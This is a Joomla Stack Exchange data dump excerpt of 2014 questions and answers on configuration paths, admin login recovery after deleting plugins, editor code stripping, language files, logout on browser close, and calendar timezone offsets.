  <row Id="5709" PostTypeId="2" ParentId="5703" CreationDate="2014-12-17T11:51:17.763" Score="7" Body="&lt;p&gt;There is already a plugin which works great for logout button.&lt;/p&gt;&#xA;&lt;p&gt;You should check this extension &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/logout-button&quot; rel=&quot;noreferrer&quot;&gt;logout button&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-12-17T11:51:17.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5710" PostTypeId="2" ParentId="5270" CreationDate="2014-12-17T12:20:22.400" Score="2" Body="&lt;p&gt;You need to double-check your &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the following fields are correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost'; /* Usually localhost, but I think GoDaddy uses a different location */&#xA;public $user = 'DB_USERNAME'; /* Insert a user with access to the database */&#xA;public $password = 'DB_USER_PASSWORD'; /* Make sure this is the password matching the user above */&#xA;public $db = 'DB_NAME'; /* Make sure the user above has access to THIS database */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see your database details (and change database password) on GoDaddy by logging in to your Account Manager. Then click &lt;em&gt;Web Hosting&lt;/em&gt;, click &lt;em&gt;MySQL Databases&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get rid of the &lt;strong&gt;Error: Could not connect to MySQL.&lt;/strong&gt; message, make sure you secure your Joomla installation (and any other Joomla you might have on the account), and change all passwords.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-12-17T12:20:22.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5711" PostTypeId="1" CreationDate="2014-12-17T13:06:14.337" Score="1" ViewCount="1603" Body="&lt;p&gt;Today I deleted 2 plugins of my Joomla 3.x and after that when I tried again to login in my administrator i could not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is: &lt;code&gt;JAuthentication: :__construct&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution for the previous versions was to go in the DB and in the table jos_plugins set &quot;name - Authentication - Joomla - published&quot; to 1 from 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, in Joomla 3.x we don't have this table. &#xA;What to do now to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="3378" LastEditorUserId="1629" LastEditDate="2014-12-17T13:25:00.127" LastActivityDate="2016-05-21T21:40:23.347" Title="JAuthentication: :__construct - Can't login in Administrator" Tags="|joomla-3.x|administrator|login|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5712" PostTypeId="2" ParentId="5711" CreationDate="2014-12-17T13:35:20.210" Score="1" Body="&lt;p&gt;Ok guys, my coworker solved that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What he did:&#xA;Select the table:&#xA;SELECT * FROM yourDB.extensions WHERE enabled = 0 ;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set components login, redirection and authentication to 1.&lt;/p&gt;&#xA;" OwnerUserId="3379" LastActivityDate="2014-12-17T13:35:20.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5713" PostTypeId="1" CreationDate="2014-12-17T14:53:33.933" Score="5" ViewCount="279" Body="&lt;p&gt;I have set up a sitemap for my website using xmap.  In it I've been looking at these two links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mydomain.com/&#xA;www.mydomain.com/component/content/article/2-english/information/38-welcome&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first one is, obviously, the homepage with modules and introduction article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is the introduction article without homepage modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the 'welcome' article has id 38, the 'information' category has id 2, and the 'english' category has id 11.&#xA;So I'm not sure first of all why &quot;2-english&quot; is being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove this URL from my sitemap but I'm not sure where it is being generated from in the first place. In xmap, I have told it to use links from 2 menus on the site and neither of these have a menu item for that url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some insight into this please?&lt;/p&gt;&#xA;" OwnerUserId="3380" LastActivityDate="2015-02-11T00:20:07.017" Title="Why is my sitemap showing a URL that should not be there?" Tags="|xmap|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5714" PostTypeId="2" ParentId="5711" CreationDate="2014-12-17T19:44:47.133" Score="0" Body="&lt;p&gt;&lt;em&gt;Firstly, it is not recommended to manually delete plugins.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only as a last resource, when you confirm that one system plug-in is misbehaving, and you are unable to regain control by other means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have deleted a core plugin, you can just download the same Joomla version  and copy the original files to the same folder.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-17T19:44:47.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5715" PostTypeId="2" ParentId="5696" CreationDate="2014-12-17T19:49:14.553" Score="4" Body="&lt;p&gt;Bootstrap and this module do not support three levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check it in Bootstrap v2.3.2, navbar dropdowns definition: &lt;a href=&quot;http://getbootstrap.com/2.3.2/javascript.html#dropdowns&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/2.3.2/javascript.html#dropdowns&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-17T19:49:14.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5718" PostTypeId="1" CreationDate="2014-12-18T10:37:02.903" Score="2" ViewCount="1615" Body="&lt;p&gt;I have module &lt;code&gt;mod_mymodule&lt;/code&gt; and it has the same translations as component &lt;code&gt;com_mycomponent&lt;/code&gt;. I don't want to duplicate these same files and use only one file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I load form from &lt;code&gt;com_mycomponent&lt;/code&gt; to &lt;code&gt;mod_mymodule&lt;/code&gt; and it has fields with labels like: &lt;code&gt;COM_MYCOMPONENT_TEST&lt;/code&gt;. In &lt;code&gt;joomla_root/language/en-EN/en-EN.com_mycomponent.ini&lt;/code&gt; I have translation to this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to load &lt;code&gt;joomla_root/language/en-EN/en-EN.com_mycomponent.ini&lt;/code&gt; to module. I also tried to add &lt;code&gt;JFactory::getLanguage()-&amp;gt;load('com_ritcatalogue');&lt;/code&gt; in &lt;code&gt;mod_mymodule.php&lt;/code&gt;. Not working. I also tried to load translations in module manifest file &lt;code&gt;mod_mymodule.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-EN&quot;&amp;gt;en-EN/en-EN.com_ritcatalogue.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-EN&quot;&amp;gt;en-EN/en-EN.com_ritcatalogue.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my module only displays &lt;code&gt;COM_MYCOMPONENT_TEST&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="1629" LastEditDate="2014-12-22T12:14:07.327" LastActivityDate="2017-07-18T13:44:28.977" Title="Load component's language file to module form" Tags="|joomla-2.5|module|translation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5719" PostTypeId="1" AcceptedAnswerId="5720" CreationDate="2014-12-18T12:54:18.060" Score="2" ViewCount="145" Body="&lt;p&gt;I've tried to insert a paypal form + button on a component's type description and once I save a part of the code is gone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; target=&quot;_top&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; target=&quot;_top&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paypal form + button is working properly on Articles, but it's not working on Components. &#xA;I would create a href link instead, but I need form fields info, and it seems I can only get the info with an input button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to insert an iframe and once I save it gets erased completely. It's working on Articles, tho.&lt;/p&gt;&#xA;" OwnerUserId="3385" LastEditorUserId="3385" LastEditDate="2014-12-18T13:10:47.130" LastActivityDate="2014-12-18T16:25:24.127" Title="Components &gt; Paypal Button not saving properly, neither iframe" Tags="|component|form|editor|jhtml|editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5720" PostTypeId="2" ParentId="5719" CreationDate="2014-12-18T13:20:32.130" Score="3" Body="&lt;p&gt;Most probably your article editor (TinyMCE?) is cleaning up your code. This is expected behavior by default. Both &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; are among the tags that are removed automatically by TinyMCE. There are a couple of ways around this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt;, a plugin that lets you add HTML (and other kinds of code) directly inside your articles. There's a lot of &lt;a href=&quot;http://www.nonumber.nl/forum/index&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; at their website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how you can use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&amp;lt;form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; target=&quot;_top&quot;&amp;gt;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or this if you still have problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}[[form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; target=&quot;_top&quot;]]{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use another editor (&lt;a href=&quot;http://joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;JCE&lt;/a&gt;, for example). Note that JCE still might clean up your code, depending on the settings. Another problem with this approach is that if the content is opened and saved with a different editor (e.g. by another user), the code might be removed again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use a module that allows custom code, e.g. &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;. Install the module, publish it with your code to a custom position (e.g. &quot;MyPaypalCode&quot;), and write &lt;code&gt;{loadposition MyPaypalCode}&lt;/code&gt; in your article where you want the code to appear.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-12-18T16:25:24.127" LastActivityDate="2014-12-18T16:25:24.127" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5721" PostTypeId="1" AcceptedAnswerId="5722" CreationDate="2014-12-18T16:34:48.573" Score="3" ViewCount="634" Body="&lt;p&gt;Since I've switch web hosts, every time I try to install an extension this error comes up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;Archive does not exist&#xA;&#xA;Warning&#xA;JFolder: :files: Path is not a folder. Path: C:/xampp/htdocs/Joomla/Folix-1/tmp/install_549300109e8e0&#xA;JFolder: :folder: Path is not a folder. Path: C:/xampp/htdocs/Joomla/Folix-1/tmp/install_549300109e8e0&#xA;JFolder: :files: Path is not a folder. Path: C:/xampp/htdocs/Joomla/Folix-1/tmp/install_549300109e8e0&#xA;JInstaller: :Install: Cannot find Joomla XML setup file\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I change the &lt;code&gt;public $tmp_path = 'C:\\xampp\\htdocs\\Joomla\\Folix-1/tmp';&lt;/code&gt; in configuration.php ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, which path should I insert? &#xA;I'm not using cPanel. I'm using Parallels Panel, so I'm not sure about the path. &#xA;Here's how my folders look like: &lt;code&gt;Root directory &amp;gt; httpdocs &amp;gt; tmp&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="3385" LastEditorUserId="64" LastEditDate="2014-12-18T16:44:18.560" LastActivityDate="2014-12-19T09:52:46.857" Title="Unable to install Extensions after changing hosts" Tags="|extensions|migration|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5722" PostTypeId="2" ParentId="5721" CreationDate="2014-12-18T16:56:07.287" Score="1" Body="&lt;p&gt;You're correct, it's the tmp path that needs to be correctly defined for your new server. I would also suggest you change the log path at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $log_path = 'C:\\xampp\\htdocs\\Joomla\\Folix-1/logs';&#xA;public $tmp_path = 'C:\\xampp\\htdocs\\Joomla\\Folix-1/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $log_path = '/var/www/vhosts/domain.com/httpdocs/logs';&#xA;public $tmp_path = '/var/www/vhosts/domain.com/httpdocs/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should say somewhere in your Host control panel file manager what the USER is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-12-19T09:52:46.857" LastActivityDate="2014-12-19T09:52:46.857" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5723" PostTypeId="1" AcceptedAnswerId="5837" CreationDate="2014-12-18T18:02:18.377" Score="-1" ViewCount="560" Body="&lt;p&gt;I have used J2Store my for website. All articles are working and add to cart button appears but in &quot;BT content slider&quot; module I have displayed articles in 3 columns and inside articles  I just added images with &quot;price&quot; and &quot;add to cart&quot; tags. But the module is showing text instead of buttons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And secondly how to customize the &quot;Add to cart&quot; button with custom css as i have included my custom css class in J2Store layout option but it's not working, also unable to override the default button with my custom css stylesheet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have inspected the relevant classes of button with firebug and included &lt;code&gt;!important&lt;/code&gt; in my css properties. Nothing happened..!! &lt;/p&gt;&#xA;" OwnerUserId="1827" LastEditorUserId="1629" LastEditDate="2014-12-29T14:27:12.680" LastActivityDate="2014-12-29T14:36:22.850" Title="j2store plugin tag is not working in bt content slider" Tags="|joomla-3.x|plugin|articles|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5725" PostTypeId="1" AcceptedAnswerId="5731" CreationDate="2014-12-19T12:25:14.083" Score="2" ViewCount="160" Body="&lt;p&gt;Recently I switched to VPS from Shared Hosting. Everything is working fine but I am facing two issues, Which are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When I open Admin tools from back-end i get this error: &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: utf8_to_unicode: Illegal sequence identifier in UTF-8 at byte 55599 in /home/mydirectory/public_html/libraries/phputf8/utils/unicode.php on line 110&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, AdminTools is working fine and I am getting above error on top of the page.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;My back-end is very slow after switching to VPS, this is strange for me.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am using latest Joomla 3.3.6 version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone can assist in this regard.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="64" LastEditDate="2014-12-19T13:55:36.607" LastActivityDate="2014-12-19T14:05:11.640" Title="Warning: utf8_to_unicode:" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5726" PostTypeId="2" ParentId="5647" CreationDate="2014-12-19T12:26:13.530" Score="1" Body="&lt;p&gt;Having now spoken with the K2 developers, it appears that this cannot be done using RSS. It can however be done using JSON.  To do it edit this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_k2/views/itemlist/view.json.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-12-19T12:26:13.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5728" PostTypeId="1" AcceptedAnswerId="5733" CreationDate="2014-12-19T12:52:19.923" Score="2" ViewCount="94" Body="&lt;p&gt;Using Saxum Picker, I'm trying to insert a Paypal Form in the Component's Description Field, but whenever I insert code between { }, it saves on backend, but it doesn't show properly on front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- Sourcerer Extension:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}[[form action=&quot;https://www.paypal.com/cgi-bin/webscr&quot; method=&quot;post&quot; target=&quot;_top&quot;]]{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back-end:&lt;/strong&gt; Code saved.&#xA;&lt;strong&gt;Front-end:&lt;/strong&gt; Inspect Page - Code Missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^ This extension was used in other components of the website with the same form, and it's working, except for this component (Saxum Picker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- Custom Html Advanced Extension:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition MyPaypalCode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back-end:&lt;/strong&gt; Code saved.&#xA;&lt;strong&gt;Front-end:&lt;/strong&gt; Appears as text: &quot;{loadposition MyPaypalCode}&quot;&lt;/p&gt;&#xA;" OwnerUserId="3385" LastEditorUserId="64" LastEditDate="2014-12-19T14:45:59.957" LastActivityDate="2015-01-16T14:31:01.223" Title="Front-end unable to read component's code between { }" Tags="|component|front-end|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5729" PostTypeId="1" CreationDate="2014-12-19T14:00:18.723" Score="1" ViewCount="53" Body="&lt;p&gt;I have a problem: in an article, there are downloadable files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish that all of these were open in a new browser tab, without having to set them one by one (+ 3000 pdf files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of a ext / mod / plugin or another way to do this once and for all? Thx very much at all for the help&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="126" LastEditDate="2016-01-22T00:04:48.957" LastActivityDate="2016-06-24T10:50:01.063" Title="Downloadable files in a new browser tab" Tags="|extensions|articles|attachments|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5730" PostTypeId="1" CreationDate="2014-12-19T14:00:28.313" Score="3" ViewCount="956" Body="&lt;p&gt;I want to log out my joomla website when browser close event occurs. I think joomla logout only works when clear session&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me.&lt;/p&gt;&#xA;" OwnerUserId="3389" LastActivityDate="2015-06-19T00:30:49.493" Title="Joomla logout When browser close" Tags="|joomla-3.3.x|browser|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5731" PostTypeId="2" ParentId="5725" CreationDate="2014-12-19T14:05:11.640" Score="1" Body="&lt;p&gt;Things you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ensure you're using PHP 5.3.29 or above&lt;/li&gt;&#xA;&lt;li&gt;Ensure you're using the latest version of Admin Tools (3.4.0)&lt;/li&gt;&#xA;&lt;li&gt;Ensure you're using the latest version of the Joomla 3.x series (3.3.6)&lt;/li&gt;&#xA;&lt;li&gt;Ensure you have the &lt;code&gt;mbstring&lt;/code&gt; extension installed in your cPanel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-19T14:05:11.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5733" PostTypeId="2" ParentId="5728" CreationDate="2014-12-19T14:41:45.387" Score="0" Body="&lt;p&gt;I'm not familiar with Saxum Picker, so this is a bit of a shot in the dark, but will shed some light on how the mechanism works so that you have somewhere to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;code&gt;plugins\content\loadmodule\loadmodule.php&lt;/code&gt;, you'll see a function called &lt;code&gt;onContentPrepare()&lt;/code&gt;.  &lt;em&gt;This&lt;/em&gt; is where the &quot;magic&quot; of substituting something within the braces occurs &lt;em&gt;for content&lt;/em&gt; (its a &quot;content&quot; plugin).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say that this isn't occurring in &quot;a Component's Description Field&quot;.  The substitution of (loadposition...} works on &lt;em&gt;Content&lt;/em&gt; text (introtext and fulltext), not just any description in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, Saxum Picker will have to do the substitution that Joomla does with content with that plugin.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="1629" LastEditDate="2015-01-16T14:31:01.223" LastActivityDate="2015-01-16T14:31:01.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5734" PostTypeId="2" ParentId="5730" CreationDate="2014-12-19T16:36:44.270" Score="1" Body="&lt;p&gt;This is not tried/tested, so the best implementation is up for debate, but you could load this javascript in your template so that it is included on all pages.  When the window closes, it will POST to a PHP script that you will contain the code that does the log out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onbeforeunload = function(){&#xA;   // Post to script that will log the user out&#xA;   xmlhttp.open(&quot;POST&quot;,&quot;logmeout.php&quot;,true);&#xA;   xmlhttp.send();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Referring to &lt;a href=&quot;https://joomla.stackexchange.com/questions/5650/developing-outside-the-cms/5651#5651&quot;&gt;this question and answer&lt;/a&gt;, write &lt;code&gt;logmeout.php&lt;/code&gt; to include the Joomla Framework, and this code should do the logout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;if(JFactory::getUser()-&amp;gt;id) {&#xA;     $app-&amp;gt;logout();&#xA;}&#xA;$app-&amp;gt;close;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-12-19T16:36:44.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5735" PostTypeId="1" CreationDate="2014-12-19T16:45:44.250" Score="2" ViewCount="250" Body="&lt;p&gt;I have just experienced something weird with the language filter in combination with the Google crawler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I switch on browser detection, Joomla returns a 404 (I assume, because no &quot;ALL language&quot; article is present), as the crawler has no language preference.&#xA;I thought, the default language would be used in such a case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't found a solution yet, to get the same behaviour as when access is made by a visitor through a browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you handle this?&lt;/p&gt;&#xA;" OwnerUserId="3391" LastEditorUserId="126" LastEditDate="2015-12-04T19:37:05.103" LastActivityDate="2015-12-04T19:37:05.103" Title="Google crawler and browser language detection" Tags="|language|multilingual|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5736" PostTypeId="1" AcceptedAnswerId="5752" CreationDate="2014-12-19T17:29:23.103" Score="3" ViewCount="1486" Body="&lt;p&gt;Our component manages Television programming, so dates &amp;amp; times are critical - here's the scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Our server and most producers are all on local, Pacific Time (America/Los_Angeles, UTC+8)&lt;/li&gt;&#xA;&lt;li&gt;Joomla is configured with the timezone being &quot;America/Los_Angeles&quot; (&lt;code&gt;public $offset = 'America/Los_Angeles';&lt;/code&gt;) because that IS the timezone we're in.&lt;/li&gt;&#xA;&lt;li&gt;The database has a &lt;code&gt;date&lt;/code&gt; field specifying when the episode is &lt;em&gt;scheduled&lt;/em&gt; to be aired - the actual time is unknown.&lt;/li&gt;&#xA;&lt;li&gt;It also has a &lt;code&gt;datetime&lt;/code&gt; field specifying when the episode was &lt;em&gt;actually&lt;/em&gt; aired, including the time it was aired.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The episode in question has a scheduled date of &quot;2015-01-02&quot; (time is unknown). Using a Calendar field type, it always displays 2015-01-01, presumably because it's defaulting to 00:00:00 as the time and subtracting 8 hours due to the offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question comes down this is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does the calendar field type have a bug because it's a Calendar, not a clock, so should not be considering the time, &lt;/li&gt;&#xA;&lt;li&gt;or should we have Joomla configured to use the UTC time zone?&lt;/li&gt;&#xA;&lt;li&gt;or am I missing something fundamental here?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And finally, if the displayed date is going to &quot;fluctuate&quot;, is there a best-practices method to advise the user which time zone is in play?  i.e. The episode is going to air Jan 2nd local time, yet the calendar is displaying Jan 1st.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize for the general confusion of the question - I've been chasing this for a bit, and am not sure of what the Timezone premises are that Joomla runs on, so what the expected output should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using &lt;code&gt;JHtml::calendar&lt;/code&gt; directly, but via my form:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;first_aired&quot; type=&quot;calendar&quot;&#xA;    label=&quot;COM_PASS_EPISODES_EPISODES_FIRST_AIRED_PLANNED_LABEL&quot;&#xA;    description=&quot;COM_PASS_EPISODES_EPISODES_FIRST_AIRED_DESC&quot;&#xA;    class=&quot;required span2 validate-airdate&quot;&#xA;    default=&quot;NOW&quot;&#xA;    format=&quot;%Y-%m-%d&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code in &lt;code&gt;libraries\joomla\form\fields\calendar.php&lt;/code&gt; does it's thing, then simply uses &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return JHtml::_('calendar', $this-&amp;gt;value, $this-&amp;gt;name, $this-&amp;gt;id, $format, $attributes);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Discovery&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Calendar Field&lt;/a&gt; docs say that only SERVER_UTC or USER_UTC are allowed for the optional &lt;code&gt;filter&lt;/code&gt; element, and omitting it or specifying &quot;&quot; defaults to USER_UTC, &lt;strong&gt;but&lt;/strong&gt; specifying anything invalid &lt;em&gt;skips&lt;/em&gt; the code that adds the offset, so show the actual date regardless of having a time or not.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-22T14:05:56.027" LastActivityDate="2014-12-22T14:05:56.027" Title="Date or DateTime in database for Component Development using timezones?" Tags="|development|database|form-fields-types|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
